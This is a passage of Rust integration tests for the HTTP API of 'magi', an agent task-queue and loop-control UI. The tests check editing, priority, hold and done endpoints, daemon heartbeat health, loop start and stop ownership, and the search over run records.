14882 t.attempts = 2;
14883 t.runs.push("prior-run".into());
14884 t.hold_manual(Some("waiting".into()));
14885 q.put(&mut t).unwrap();
14886 let change = |value| {
14887 queue_attempt_limit(
14888 State(ui.clone()),
14889 Path(t.id.clone()),
14890 Ok(Json(AttemptLimitBody {
14891 attempt_limit: value,
14892 })),
14893 )
14894 };
14895 for value in [
14896 serde_json::json!(3),
14897 serde_json::Value::Null,
14898 serde_json::json!(1),
14899 ] {
14900 let response = change(value.clone()).await.unwrap();
14901 assert_eq!(
14902 serde_json::to_value(response.0).unwrap()["attempt_limit"],
14903 value
14904 );
14905 let saved = q.get(&t.id).unwrap();
14906 assert_eq!(
14907 serde_json::to_value(&saved).unwrap()["attempt_limit"],
14908 value
14909 );
14910 assert_eq!(saved.status, TaskStatus::Held);
14911 assert_eq!(saved.attempts, t.attempts);
14912 assert_eq!(saved.runs, t.runs);
14913 assert_eq!(saved.hold_reason, t.hold_reason);
14914 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
14915 .await
14916 .unwrap()
14917 .0;
14918 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
14919 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
14920 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
14921 assert_eq!(outcome.max_attempts, detail.max_attempts);
14922 }
14923 for value in [
14924 serde_json::json!(0),
14925 serde_json::json!(-1),
14926 serde_json::json!(1.5),
14927 serde_json::json!("3"),
14928 serde_json::json!(true),
14929 ] {
14930 assert_eq!(
14931 change(value).await.err().unwrap().status,
14932 StatusCode::BAD_REQUEST
14933 );
14934 }
14935 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
14936 let claim = q.claim(&t.id).unwrap();
14937 assert_eq!(
14938 change(serde_json::json!(4)).await.err().unwrap().status,
14939 StatusCode::CONFLICT
14940 );
14941 drop(claim);
14942 for status in [
14943 TaskStatus::Running,
14944 TaskStatus::Done,
14945 TaskStatus::Failed,
14946 TaskStatus::Blocked,
14947 TaskStatus::Parked,
14948 ] {
14949 let mut stored = q.get(&t.id).unwrap();
14950 stored.status = status;
14951 q.put(&mut stored).unwrap();
14952 assert_eq!(
14953 change(serde_json::json!(4)).await.err().unwrap().status,
14954 StatusCode::BAD_REQUEST
14955 );
14956 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
14957 }
14958 let mut stored = q.get(&t.id).unwrap();
14959 stored.status = TaskStatus::Queued;
14960 q.put(&mut stored).unwrap();
14961 let _ = change(serde_json::Value::Null).await.unwrap();
14962 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
14963 }
14964
14965 #[tokio::test]
14966 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
14967 let dir = TempDir::new().unwrap();
14968 let repo = dir.path().join("repo");
14969 std::fs::create_dir(&repo).unwrap();
14970 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
14971 let q = Queue::at(dir.path().join("queue"));
14972 let ui = Arc::new(Ui::new(
14973 q.clone(),
14974 Questions::at(dir.path().join("questions")),
14975 Talks::at(dir.path().join("talks")),
14976 dir.path().join("runs"),
14977 dir.path().to_path_buf(),
14978 repo.clone(),
14979 ));
14980 let mut t = Task::new(
14981 "seats".into(),
14982 "keep instruction".into(),
14983 repo,
14984 Source::Human,
14985 );
14986 t.runs.push("prior-run".into());
14987 t.hold_manual(Some("waiting".into()));
14988 q.put(&mut t).unwrap();
14989 let change = |count| {
14990 queue_implementers(
14991 State(ui.clone()),
14992 Path(t.id.clone()),
14993 Ok(Json(ImplementersBody {
14994 implementers: count,
14995 })),
14996 )
14997 };
14998 for count in [2, 1, 2] {
14999 let response = change(count).await.unwrap();
15000 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15001 let saved = q.get(&t.id).unwrap();
15002 assert_eq!(saved.implementers(), Some(usize::from(count)));
15003 assert_eq!(saved.runs, t.runs);
15004 assert_eq!(saved.instruction, t.instruction);
15005 }
15006 for count in [0, 4] {
15007 assert_eq!(
15008 change(count).await.err().unwrap().status,
15009 StatusCode::BAD_REQUEST
15010 );
15011 }
15012 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15013 let claim = q.claim(&t.id).unwrap();
15014 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15015 drop(claim);
15016 for status in [
15017 TaskStatus::Running,
15018 TaskStatus::Done,
15019 TaskStatus::Failed,
15020 TaskStatus::Blocked,
15021 TaskStatus::Parked,
15022 ] {
15023 let mut stored = q.get(&t.id).unwrap();
15024 stored.status = status;
15025 q.put(&mut stored).unwrap();
15026 assert_eq!(
15027 change(1).await.err().unwrap().status,
15028 StatusCode::BAD_REQUEST
15029 );
15030 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15031 }
15032 }
15033
15034 #[tokio::test]
15035 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15036 let f = Fixture::start().await;
15037 let queue = f.queue();
15038 let mut task = Task::new(
15039 "in flight".to_owned(),
15040 "x".to_owned(),
15041 PathBuf::from("/repo/magi"),
15042 Source::Human,
15043 );
15044 task.start("20260902-140502-bbbb".to_owned());
15045 queue.put(&mut task).expect("file the task");
15046
15047 let res = f
15048 .post(
15049 &format!("/api/queue/{}/priority", task.id),
15050 Some(r#"{"priority":9}"#),
15051 )
15052 .await;
15053 assert_eq!(res.status, 400, "{}", res.body);
15054 assert!(
15055 res.json()["error"]
15056 .as_str()
15057 .is_some_and(|e| e.contains("running")),
15058 "{}",
15059 res.body
15060 );
15061 assert_eq!(
15062 queue.get(&task.id).expect("reload").priority,
15063 0,
15064 "the refused write must not partially apply"
15065 );
15066 }
15067
15068 #[tokio::test]
15069 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15070 let f = Fixture::start().await;
15071 let queue = f.queue();
15072 let mut task = Task::new(
15073 "old title".to_owned(),
15074 "old instruction".to_owned(),
15075 PathBuf::from("/repo/magi"),
15076 Source::Agent {
15077 run: "20260101-000000-beef".to_owned(),
15078 node: "implement".to_owned(),
15079 },
15080 );
15081 task.runs.push("20260101-000000-beef".to_owned());
15082 queue.put(&mut task).expect("file the task");
15083 let created_at = task.created_at;
15084
15085 let edited = f
15086 .post(
15087 &format!("/api/queue/{}/edit", task.id),
15088 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15089 )
15090 .await;
15091 assert_eq!(edited.status, 200, "{}", edited.body);
15092 let body = edited.json();
15093 assert_eq!(body["title"], "new title");
15094 assert_eq!(body["instruction"], "new instruction");
15095 assert_eq!(body["id"], task.id, "editing must not mint a new id");
15096 assert_eq!(body["created_at"], created_at.to_string());
15097 assert_eq!(
15098 body["source"]["kind"], "agent",
15099 "editing a task an agent filed must not turn it human: {body}"
15100 );
15101 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15102
15103 let reloaded = queue.get(&task.id).expect("reload");
15104 assert_eq!(reloaded.title, "new title");
15105 assert_eq!(reloaded.instruction, "new instruction");
15106 }
15107
15108 #[tokio::test]
15109 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15110 let tmp = TempDir::new().expect("tempdir");
15113 let repo = tmp.path().join("repo");
15114 std::fs::create_dir_all(&repo).expect("repo dir");
15115 let judge = MOCK_AGENT_TOML.replace(
15116 "printf ok",
15117 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15118 );
15119 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15120 let f = Fixture::with_repo(repo.clone()).await;
15121 let queue = f.queue();
15122 let mut owner = Task::new(
15123 "owner".to_owned(),
15124 "review it".to_owned(),
15125 repo.clone(),
15126 Source::Human,
15127 );
15128 owner.review_branch = Some("magi/ab12/A".to_owned());
15129 queue.put(&mut owner).expect("file the owner");
15130 let mut task = Task::new(
15131 "draft".to_owned(),
15132 "old".to_owned(),
15133 repo.clone(),
15134 Source::Human,
15135 );
15136 queue.put(&mut task).expect("file the draft");
15137 let url = format!("/api/queue/{}/edit", task.id);
15138
15139 let refused = f
15140 .post(
15141 &url,
15142 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15143 )
15144 .await;
15145 assert_eq!(refused.status, 409, "{}", refused.body);
15146 let msg = refused.json()["error"]
15147 .as_str()
15148 .unwrap_or_default()
15149 .to_owned();
15150 assert!(
15151 msg.contains("magi/ab12/A") && msg.contains("force"),
15152 "{msg}"
15153 );
15154 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15155
15156 let forced = f
15157 .post(
15158 &url,
15159 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15160 )
15161 .await;
15162 assert_eq!(forced.status, 200, "{}", forced.body);
15163 }
15164
15165 #[tokio::test]
15166 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15167 let f = Fixture::start().await;
15168 let queue = f.queue();
15169 let mut task = Task::new(
15170 "in flight".to_owned(),
15171 "do not touch".to_owned(),
15172 PathBuf::from("/repo/magi"),
15173 Source::Human,
15174 );
15175 task.start("20260902-140502-bbbb".to_owned());
15176 queue.put(&mut task).expect("file the task");
15177
15178 let res = f
15179 .post(
15180 &format!("/api/queue/{}/edit", task.id),
15181 Some(r#"{"title":"x","instruction":"y"}"#),
15182 )
15183 .await;
15184 assert_eq!(res.status, 400, "{}", res.body);
15185 assert!(
15186 res.json()["error"]
15187 .as_str()
15188 .is_some_and(|e| e.contains("running")),
15189 "{}",
15190 res.body
15191 );
15192 assert_eq!(
15193 queue.get(&task.id).expect("reload").instruction,
15194 "do not touch",
15195 "the refused edit must not change the file"
15196 );
15197 }
15198
15199 #[tokio::test]
15200 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15201 let f = Fixture::start().await;
15202 let queue = f.queue();
15203 let mut task = Task::new(
15204 "busy".to_owned(),
15205 "Running right now".to_owned(),
15206 PathBuf::from("/repo/magi"),
15207 Source::Human,
15208 );
15209 queue.put(&mut task).expect("file the task");
15210 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15211
15212 let priority = f
15213 .post(
15214 &format!("/api/queue/{}/priority", task.id),
15215 Some(r#"{"priority":9}"#),
15216 )
15217 .await;
15218 assert_eq!(priority.status, 409, "{}", priority.body);
15219
15220 let edit = f
15221 .post(
15222 &format!("/api/queue/{}/edit", task.id),
15223 Some(r#"{"title":"x","instruction":"y"}"#),
15224 )
15225 .await;
15226 assert_eq!(edit.status, 409, "{}", edit.body);
15227 }
15228
15229 #[tokio::test]
15230 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
15231 let f = Fixture::start().await;
15232 let queue = f.queue();
15233 let mut task = Task::new(
15234 "shipped by hand".to_owned(),
15235 "merged outside the loop".to_owned(),
15236 PathBuf::from("/repo/magi"),
15237 Source::Agent {
15238 run: "20260101-000000-b455".to_owned(),
15239 node: "implement".to_owned(),
15240 },
15241 );
15242 task.runs.push("20260101-000000-b455".to_owned());
15243 task.runs.push("20260101-000000-9af4".to_owned());
15244 queue.put(&mut task).expect("file the task");
15245 let created_at = task.created_at;
15246
15247 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15248 assert_eq!(done.status, 200, "{}", done.body);
15249 assert_eq!(done.json()["status_str"], "done");
15250
15251 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
15252 assert_eq!(
15253 reloaded.runs,
15254 ["20260101-000000-b455", "20260101-000000-9af4"]
15255 );
15256 assert_eq!(
15257 reloaded.source,
15258 Source::Agent {
15259 run: "20260101-000000-b455".to_owned(),
15260 node: "implement".to_owned(),
15261 }
15262 );
15263 assert_eq!(reloaded.created_at, created_at);
15264 }
15265
15266 #[tokio::test]
15267 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
15268 let f = Fixture::start().await;
15273 let queue = f.queue();
15274 let mut task = Task::new(
15275 "landed while held".to_owned(),
15276 "x".to_owned(),
15277 PathBuf::from("/repo/magi"),
15278 Source::Human,
15279 );
15280 task.hold_manual(Some("waiting on 3ed9".to_owned()));
15281 queue.put(&mut task).expect("file the held task");
15282
15283 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15284 assert_eq!(done.status, 200, "{}", done.body);
15285 assert_eq!(done.json()["status_str"], "done");
15286 assert!(
15287 done.json()["hold_reason"].is_null(),
15288 "a done task cannot still be waiting on something: {}",
15289 done.body
15290 );
15291 }
15292
15293 #[tokio::test]
15294 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
15295 let f = Fixture::start().await;
15300 let queue = f.queue();
15301 let runs = f.runs();
15302 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
15303 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
15307
15308 let mut task = Task::new(
15309 "landed by hand".to_owned(),
15310 "x".to_owned(),
15311 PathBuf::from("/repo/magi"),
15312 Source::Human,
15313 );
15314 task.runs.push("20260101-000000-doa1".to_owned());
15315 task.runs.push("20260101-000000-doa2".to_owned());
15316 queue.put(&mut task).expect("file the task");
15317
15318 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15319 assert_eq!(done.status, 200, "{}", done.body);
15320
15321 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
15322 .expect("run still on disk under this fixture's own home");
15323 assert_eq!(
15324 reloaded_run.status,
15325 RunStatus::Superseded,
15326 "closing the task by hand must relabel the earlier blocked attempt exactly \
15327 like the loop's own settle path does"
15328 );
15329 }
15330
15331 #[tokio::test]
15332 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
15333 let f = Fixture::start().await;
15338 let queue = f.queue();
15339 let runs = f.runs();
15340 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
15341 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
15342
15343 let mut task = Task::new(
15344 "closed with nothing actually landed".to_owned(),
15345 "x".to_owned(),
15346 PathBuf::from("/repo/magi"),
15347 Source::Human,
15348 );
15349 task.runs.push("20260101-000000-dob1".to_owned());
15350 task.runs.push("20260101-000000-dob2".to_owned());
15351 queue.put(&mut task).expect("file the task");
15352
15353 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15354 assert_eq!(done.status, 200, "{}", done.body);
15355
15356 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
15357 .expect("run still on disk under this fixture's own home");
15358 assert_eq!(
15359 reloaded_run.status,
15360 RunStatus::Blocked,
15361 "the last recorded attempt never landed, so the earlier one must not be \
15362 relabelled as superseded by it"
15363 );
15364 }
15365
15366 #[tokio::test]
15367 async fn unknown_ids_are_json_not_found_on_both_stores() {
15368 let f = Fixture::start().await;
15369
15370 let run = f.get("/api/runs/nosuchrun").await;
15371 let task = f.post("/api/queue/nosuchtask/hold", None).await;
15372
15373 assert_eq!(run.status, 404);
15374 assert_eq!(task.status, 404);
15375 assert!(
15376 run.json()["error"]
15377 .as_str()
15378 .is_some_and(|e| e.contains("run")),
15379 "the error names what was not found: {}",
15380 run.body
15381 );
15382 assert!(
15383 task.json()["error"]
15384 .as_str()
15385 .is_some_and(|e| e.contains("task")),
15386 "the error names what was not found: {}",
15387 task.body
15388 );
15389 }
15390
15391 #[tokio::test]
15392 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
15393 let f = Fixture::start().await;
15394
15395 let missing = f.get("/api/health").await.json();
15396 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
15397
15398 write_daemon(
15399 f.home.path(),
15400 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15401 );
15402 let stale = f.get("/api/health").await.json();
15403 assert_eq!(
15404 stale["daemon"]["running"], false,
15405 "a minute without a heartbeat is a dead daemon, not a busy one"
15406 );
15407 assert!(
15408 stale["daemon"]["stale_for_secs"]
15409 .as_i64()
15410 .is_some_and(|s| s >= 55),
15411 "staleness is reported so the UI can say how long: {stale}"
15412 );
15413
15414 write_daemon(f.home.path(), Timestamp::now());
15415 let fresh = f.get("/api/health").await.json();
15416 assert_eq!(fresh["daemon"]["running"], true);
15417 assert_eq!(fresh["daemon"]["idle"], false);
15418 assert_eq!(fresh["daemon"]["pid"], 4242);
15419 assert_eq!(fresh["daemon"]["completed"], 7);
15420 assert_eq!(
15421 fresh["daemon"]["current"][0]["task"],
15422 "20260902-140501-aaaa"
15423 );
15424 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
15425 }
15426
15427 #[tokio::test]
15428 async fn the_loop_is_not_running_until_something_starts_it() {
15429 let f = Fixture::start().await;
15430
15431 let view = f.get("/api/loop").await.json();
15432 assert_eq!(view["running"], false);
15433 assert_eq!(
15434 view["owned"], false,
15435 "nobody owns a loop that does not exist: {view}"
15436 );
15437 assert_eq!(view["stopping"], false);
15438 assert_eq!(view["last_error"], Value::Null);
15439 assert_eq!(view["daemon"]["running"], false);
15440 assert_eq!(
15441 view["repo"], "/repo/magi",
15442 "the repository a start would use, named before it is started"
15443 );
15444 }
15445
15446 #[tokio::test]
15447 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
15448 let f = Fixture::start().await;
15449
15450 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15451 assert_eq!(res.status, 200, "{}", res.body);
15452 let view = res.json();
15453 assert_eq!(view["running"], true);
15454 assert_eq!(
15455 view["owned"], true,
15456 "the loop the UI started is the UI's own to stop: {view}"
15457 );
15458 assert_eq!(
15459 view["merge"],
15460 Value::Null,
15461 "no override was given, so each repository's own config decides"
15462 );
15463
15464 let health = f.get("/api/health").await.json();
15468 assert_eq!(health["loop"]["running"], true, "{health}");
15469 assert_eq!(health["loop"]["owned"], true, "{health}");
15470
15471 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15472 }
15473
15474 #[tokio::test]
15475 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
15476 let f = Fixture::start().await;
15477 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15478 assert_eq!(first.status, 200, "{}", first.body);
15479
15480 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15481 assert_eq!(
15482 again.status, 409,
15483 "two loops on one queue race for the same claims: {}",
15484 again.body
15485 );
15486 assert!(
15487 again.json()["error"]
15488 .as_str()
15489 .is_some_and(|e| e.contains("already running the loop")),
15490 "the refusal has to say why: {}",
15491 again.body
15492 );
15493 assert_eq!(
15494 f.get("/api/loop").await.json()["running"],
15495 true,
15496 "and the loop that was already running is untouched by it"
15497 );
15498
15499 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15500 }
15501
15502 #[tokio::test]
15503 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
15504 let f = Fixture::start().await;
15505 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15506
15507 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15508 assert_eq!(
15509 res.status, 200,
15510 "the answer must not wait for the loop: a run in flight is tens of \
15511 minutes and the operator is holding a phone: {}",
15512 res.body
15513 );
15514
15515 let view = settled(&f, |v| v["running"] == false).await;
15516 assert_eq!(view["owned"], false);
15517 assert_eq!(
15518 view["stopping"], false,
15519 "a loop that has stopped is not still stopping: {view}"
15520 );
15521 assert_eq!(
15522 view["last_error"],
15523 Value::Null,
15524 "a loop that was asked to stop did not fail: {view}"
15525 );
15526
15527 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15530 assert_eq!(twice.status, 200, "{}", twice.body);
15531 }
15532
15533 #[tokio::test]
15534 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
15535 let f = Fixture::start().await;
15536 write_daemon(f.home.path(), Timestamp::now());
15539
15540 let view = f.get("/api/loop").await.json();
15541 assert_eq!(view["running"], false, "not in this process: {view}");
15542 assert_eq!(view["owned"], false, "and not this process's to control");
15543 assert_eq!(
15544 view["daemon"]["running"], true,
15545 "but a loop is alive somewhere, which is what the UI must say"
15546 );
15547 assert_eq!(view["daemon"]["pid"], 4242);
15548
15549 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
15550 let res = f.post("/api/loop", Some(body)).await;
15551 assert_eq!(
15552 res.status, 409,
15553 "neither button may pretend to work on someone else's loop: {}",
15554 res.body
15555 );
15556 assert!(
15557 res.json()["error"]
15558 .as_str()
15559 .is_some_and(|e| e.contains("4242")),
15560 "the refusal has to name the process the operator must go to: {}",
15561 res.body
15562 );
15563 }
15564 assert_eq!(
15565 f.get("/api/loop").await.json()["running"],
15566 false,
15567 "and the refusal started nothing"
15568 );
15569 }
15570
15571 #[tokio::test]
15572 async fn a_stale_status_file_is_not_a_foreign_owner() {
15573 let f = Fixture::start().await;
15574 write_daemon(
15575 f.home.path(),
15576 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15577 );
15578
15579 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15580 assert_eq!(
15581 res.status, 200,
15582 "a daemon killed a minute ago must not lock the loop out of its \
15583 own home for good: {}",
15584 res.body
15585 );
15586 assert_eq!(res.json()["running"], true);
15587
15588 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15589 }
15590
15591 #[tokio::test]
15592 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
15593 let f = Fixture::start().await;
15594 let before = f.get("/api/health").await.json()["loop_rev"]
15595 .as_u64()
15596 .expect("a loop revision");
15597
15598 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15599
15600 let after = f.get("/api/health").await.json()["loop_rev"]
15601 .as_u64()
15602 .expect("a loop revision");
15603 assert!(
15604 after > before,
15605 "the loop is in-process state, so this counter is the only thing \
15606 that tells a second device the first one started it: {before} -> \
15607 {after}"
15608 );
15609
15610 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15611 }
15612
15613 #[tokio::test]
15614 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
15615 let f = Fixture::with_loop(launch_broken).await;
15616
15617 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15618 assert_eq!(
15619 res.status, 200,
15620 "starting it is not the failure: {}",
15621 res.body
15622 );
15623
15624 let view = settled(&f, |v| v["last_error"].is_string()).await;
15625 assert_eq!(
15626 view["running"], false,
15627 "a loop that died must not read as running, or the operator has \
15628 nothing to press: {view}"
15629 );
15630 assert_eq!(view["owned"], false);
15631 assert!(
15632 view["last_error"]
15633 .as_str()
15634 .is_some_and(|e| e.contains("read-only file system")),
15635 "the phone is where a loop that died at 3am is visible: {view}"
15636 );
15637
15638 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15641 assert_eq!(again.status, 200, "{}", again.body);
15642 assert!(
15643 again.json()["last_error"]
15644 .as_str()
15645 .is_none_or(|e| !e.contains("read-only file system")),
15646 "a fresh start does not keep showing why the last one died: {}",
15647 again.body
15648 );
15649 }
15650
15651 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
15663 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
15664 let home = TempDir::new().expect("temp home");
15665 let runs = home.path().join("runs");
15666 std::fs::create_dir_all(&runs).expect("runs dir");
15667 let ui = Ui::new(
15668 Queue::at(home.path().join("queue")),
15669 Questions::at(home.path().join("questions")),
15670 Talks::at(home.path().join("talks")),
15671 runs,
15672 home.path().to_path_buf(),
15673 PathBuf::from("/repo/magi"),
15674 )
15675 .with_worktrees_root(home.path().join("wt"))
15676 .with_launch(launch_knocking_on_the_way_out);
15677 let looping = ui.looping();
15678 let turns = ui.turns();
15679 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15680 .await
15681 .expect("bind loopback");
15682 let addr = listener.local_addr().expect("local addr");
15683 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
15684 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15685
15686 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
15687 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
15688
15689 let bound = std::sync::Mutex::new(None);
15704 hand_over(
15705 home.path(),
15706 &looping,
15707 &turns,
15708 &|_: &[String]| Duration::from_secs(5),
15709 served,
15710 |_| {
15711 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
15712 let attempt = loop {
15713 match std::net::TcpListener::bind(addr) {
15714 Ok(l) => {
15715 drop(l);
15716 break Ok(());
15717 }
15718 Err(e)
15719 if e.kind() == std::io::ErrorKind::AddrInUse
15720 && std::time::Instant::now() < deadline =>
15721 {
15722 std::thread::sleep(std::time::Duration::from_millis(10));
15723 }
15724 Err(e) => break Err(e.to_string()),
15725 }
15726 };
15727 *bound.lock().expect("bound") = Some(attempt);
15728 Ok(1)
15729 },
15730 )
15731 .await
15732 .expect("hand over");
15733
15734 assert_eq!(
15735 *PARK_HEARD.lock().expect("park heard"),
15736 Some(200),
15737 "the deck must answer while the loop is parking"
15738 );
15739 let attempt = bound
15740 .lock()
15741 .expect("bound")
15742 .take()
15743 .expect("the successor was started");
15744 assert!(
15745 attempt.is_ok(),
15746 "and the address must be free by the time it is: {attempt:?}"
15747 );
15748 }
15749
15750 #[tokio::test]
15751 async fn a_newer_daemon_status_file_still_renders() {
15752 let f = Fixture::start().await;
15753 std::fs::write(
15756 f.home.path().join("daemon.json"),
15757 serde_json::json!({
15758 "schema": 2,
15759 "updated_at": Timestamp::now().to_string(),
15760 "idle": true,
15761 "surprise": { "nested": [1, 2, 3] },
15762 })
15763 .to_string(),
15764 )
15765 .expect("write daemon.json");
15766
15767 let health = f.get("/api/health").await;
15768
15769 assert_eq!(health.status, 200);
15770 assert_eq!(health.json()["daemon"]["running"], true);
15771 }
15772
15773 #[tokio::test]
15774 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
15775 let f = Fixture::start().await;
15776 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15777 let broken = f.runs().join("20260902-140502-bad");
15778 std::fs::create_dir_all(&broken).expect("run dir");
15779 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15780
15781 let list = f.get("/api/runs").await;
15782 let detail = f.get("/api/runs/20260902-140502-bad").await;
15783
15784 assert_eq!(list.status, 200);
15785 let listed = list.json();
15786 let ids: Vec<&str> = listed
15787 .as_array()
15788 .expect("an array")
15789 .iter()
15790 .map(|r| r["id"].as_str().expect("an id"))
15791 .collect();
15792 assert_eq!(
15793 ids,
15794 vec!["20260902-140501-good"],
15795 "one unreadable run must not cost the operator the whole history"
15796 );
15797 assert_eq!(detail.status, 500);
15798 assert!(
15799 detail.json()["error"]
15800 .as_str()
15801 .is_some_and(|e| e.contains("run.json")),
15802 "the failure names the file to look at: {}",
15803 detail.body
15804 );
15805 let health = f.get("/api/health").await;
15809 assert_eq!(health.json()["runs_unreadable"], 1);
15810 }
15811
15812 #[tokio::test]
15814 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
15815 let f = Fixture::start().await;
15816 let runs = f.runs();
15817 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
15818 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
15819 let path = runs.join("20260902-140502-bbbb").join("run.json");
15822 let mut v: serde_json::Value =
15823 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15824 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
15825 std::fs::write(&path, v.to_string()).unwrap();
15826 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
15827 std::fs::write(
15828 runs.join("20260902-140503-cccc").join("run.json"),
15829 "{ not json",
15830 )
15831 .unwrap();
15832
15833 let res = f.get("/api/search?scope=runs&q=quokka").await;
15834 assert_eq!(res.status, 200, "{}", res.body);
15835 let v = res.json();
15836 assert_eq!(v["total"], 1, "{v}");
15837 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
15838 assert_eq!(v["hits"][0]["field"], "text");
15839 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
15840 let parts = v["hits"][0]["snippet"].as_array().unwrap();
15841 assert!(
15842 parts
15843 .iter()
15844 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
15845 "{v}"
15846 );
15847 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
15848 assert_eq!(
15849 flat, "The Quokka leaks across threads",
15850 "whitespace is collapsed"
15851 );
15852
15853 let both = f
15855 .get("/api/search?scope=runs&q=MOBILE%20quokka")
15856 .await
15857 .json();
15858 assert_eq!(both["total"], 1, "{both}");
15859 let neither = f
15860 .get("/api/search?scope=runs&q=quokka%20zebra")
15861 .await
15862 .json();
15863 assert_eq!(neither["total"], 0, "{neither}");
15864 let stmt = f
15866 .get("/api/search?scope=runs&q=mobile%20first")
15867 .await
15868 .json();
15869 assert_eq!(stmt["total"], 2, "{stmt}");
15870 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
15871 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
15872 }
15873
15874 #[test]
15875 fn snippet_ignores_terms_longer_than_the_field() {
15876 let terms = ["ok".to_owned(), "elephant".to_owned()];
15877 let parts = snippet_of("ok", &terms);
15878 assert_eq!(
15879 parts,
15880 vec![SnippetPart {
15881 text: "ok".to_owned(),
15882 hit: true
15883 }]
15884 );
15885 }
15886
15887 #[test]
15888 fn snippet_marks_matches_longer_than_the_window() {
15889 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
15890 let hit_len = |parts: &[SnippetPart]| -> usize {
15891 parts
15892 .iter()
15893 .filter(|p| p.hit)
15894 .map(|p| p.text.chars().count())
15895 .sum()
15896 };
15897 let total =
